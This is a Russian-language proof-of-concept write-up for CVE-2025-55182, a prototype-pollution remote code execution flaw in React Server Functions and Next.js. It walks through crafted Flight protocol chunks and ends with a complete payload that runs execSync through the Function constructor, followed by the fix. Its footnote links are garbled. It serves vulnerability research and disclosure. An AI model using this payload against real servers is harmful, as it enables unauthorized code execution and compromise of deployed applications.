
Proof-of-concept эксплойт для CVE-2025-55182, достигающий удаленного выполнения кода в React Server Functions через загрязнение прототипа и специально созданные фрагменты протокола Flight.
Оригинальный автор: https://github.com/msanft/CVE-2025-55182
Эта уязвимость позволяет выполнить удалённый код (RCE) в серверных функциях React, например предоставляемых Next.js, через небезопасные ссылки на прототипы.
Я не эксперт в React или Next.js, поэтому относитесь ко всей представленной здесь информации скептически.
React предлагает серверные функции1, которые можно рассматривать как своего рода RPC- через-HTTP. Они могут использоваться для получения данных от соседних узлов для обеспечения низкой задержки или выполнения аутентифицированных запросов, для которых у клиента нет учётных данных.
React использует так называемый React Flight Protocol2 для сериализации значений, передаваемых серверным функциям.
Клиент передаёт серверу «чанки» (chunks), например через данные формы:
files = {
"0": (None, '["$1"]'),
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
"2": (None, '{"fruitName":"cherry"}'),
}
Как показано, они могут содержать ссылки друг на друга. Приведённая выше нагрузка десериализуется на сервере в следующий объект:
{ object: 'fruit', name: 'cherry' }
Сам формат немного сложнее и допускает более сложную сериализацию и десериализацию, но это даёт базовое понимание для самой уязвимости.
До этого коммита3 при обходе чанков для разрешения ссылок,
например, получения fruitName из чанка 2 в примере выше, React
не проверял, установлен ли запрашиваемый ключ на объекте.
Это позволяло получить прототип объекта4.
Это можно продемонстрировать с помощью такой нагрузки:
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
Которая десериализуется в конструктор функции5:
[Function: Function]
Когда чанк с ID 0 является не массивом, а объектом, мы можем
установить ключ then в конструктор функции. Затем объект
возвращается функцией decodeReplyFromBusboy и ожидается (await) Next.js:
// action-handler.ts:888 (до исправления)
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
Когда это возвращает thenable, await в вызывающем коде вызовет его.
Это происходит с такой нагрузкой:
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
Что приводит к такой ошибке:
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}
Ошибка выглядит так, потому что V8 вызывает await-функцию
с внутренними функциями resolve и reject, которые при
преобразовании в строку (toString) сериализуются примерно так:
function () { [native code] }
Поскольку мы можем тривиально получить конструктор Function,
очевидный путь — найти call-gadget, который вызывает конструктор
с управляемым пользователем значением (т.е. кодом функции в виде строки),
а затем вызывает возвращённую функцию.
Есть несколько мест, которые могут вызвать конструктор функции,
например resolveServerReference, где id — это управляемый объект,
а lastIndexOf может быть переопределён для возврата управляемой пользователем строки
(например, через Array.prototype.join), а slice можно переопределить на конструктор функции.
Однако это место не работает, так как второй вызов .slice() передаёт число в качестве первого аргумента,
которое — насколько мне известно — никогда не может быть обработано конструктором функции.
Здесь приходит блестящая идея от maple31426. Когда getChunk
берёт чанк с ID 0 в качестве корневой ссылки для начала разрешения цепочки ссылок,
этот же самый чанк может разрешиться в поддельный «фейковый чанк».
Мы можем сослаться на поддельный чанк 0 в чанке 1, используя синтаксис
$@, который возвращает «сырой» чанк, а не его разрешённое значение:
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
Комбинируя это с нашей перезаписью then из предыдущего раздела, мы можем создать
нечто подобное:
files = {
"0": (None, '{"then": "$1:__proto__:then"}'),
"1": (None, '"$@0"'),
}
Здесь чанк 0 перезаписывает свой собственный .then() на .then()
своего собственного сырого представления чанка. Проще говоря, мы перезаписываем
свой .then() на Chunk.prototype.then, который существует, поскольку
Chunk являются thenables:
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this);
}
// ...
С приведённой выше нагрузкой Chunk.prototype.then в конечном итоге вызывается
с поддельным чанком с ID 0.
Как показано выше, когда .status на нашем фейковом чанке равен resolved_model:
files = {
"0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
"1": (None, '"$@0"'),
}
Мы попадаем в initializeModelChunk. Здесь .value парсится как JSON,
а затем ссылки разрешаются на возвращённом объекте с использованием «внешнего»
контекста наших чанков с ID 0 и 1:
function initializeModelChunk(chunk) {
// ...
var rawModel = JSON.parse(resolvedModel),
value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
// ...
Внутри этого мы теперь получаем второй проход вычислений с немного большим количеством значений, к которым у нас есть доступ благодаря уже разрешённому внешнему контексту.
Существует call-gadget в обработке данных-blob с префиксом $B
в протоколе flight:
case "B":
return (
(obj = parseInt(value.slice(2), 16)),
response._formData.get(response._prefix + obj)
);
Используя специальное поле _response, мы контролируем свойство response
поддельного чанка:
// в initializeModelChunk
value = reviveModel(chunk._response, // ...
С этим мы можем создать объект с поддельными свойствами ._formData и ._prefix:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"return foo; // ",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
.reason необходимо добавить, чтобы обойти сбой при вызове toString
в `initializeModelChunk:
var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;
Указывая ._formData на конструктор функции, а ._prefix на
наш код, мы получаем вызов-гаджет для конструктора функции в
десериализации blob:
response._formData.get(response._prefix + "0")
// становится
Function("return foo; // 0")
Наша сконструированная функция затем возвращается parseModelString как
метод .then() поддельного чанка, который также ожидается (await), поскольку
всё это происходит в одной цепочке разрешения промисов. Таким образом,
возвращая thenable, наша сконструированная функция вызывается. Это и есть
требуемый call-gadget, упомянутый выше.
Собирая всё вместе с реальной нагрузкой для RCE, мы получаем нечто подобное:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"process.mainModule.require('child_process').execSync('calc');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
Бонус, который делает эту уязвимость ещё хуже, заключается в том, что всё это
происходит во время десериализации, до того как запрошенное действие будет проверено
в getActionModIdOrError. Таким образом, установка заголовка типа Next-Action: foo
достаточна для срабатывания уязвимости.
Использование ссылок на чанки для получения свойств прототипа исправлено с помощью этой проверки:
@@ -78,7 +80,10 @@ export function preloadModule<T>(
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = parcelRequire(metadata[ID]);
- return moduleExports[metadata[NAME]];
+ if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+ return moduleExports[metadata[NAME]];
+ }
+ return (undefined: any);
}
https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/master/%3Chttps:/react.dev/reference/rsc/server-functions%3E ↩
https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/master/%3Chttps:/tonyalicea.dev/blog/understanding-react-server-components/%3E ↩
https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/master/%3Chttps:/github.com/facebook/react/pull/35277/commits/e2fd5dc6ad973dd3f220056404d0ae0a8707998d%3E ↩
https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/master/%3Chttps:/developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Advanced_JavaScript_objects/Object_prototypes%3E ↩
https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/master/%3Chttps:/developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function%3E ↩
https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/master/%3Chttps:/x.com/maple3142%3E ↩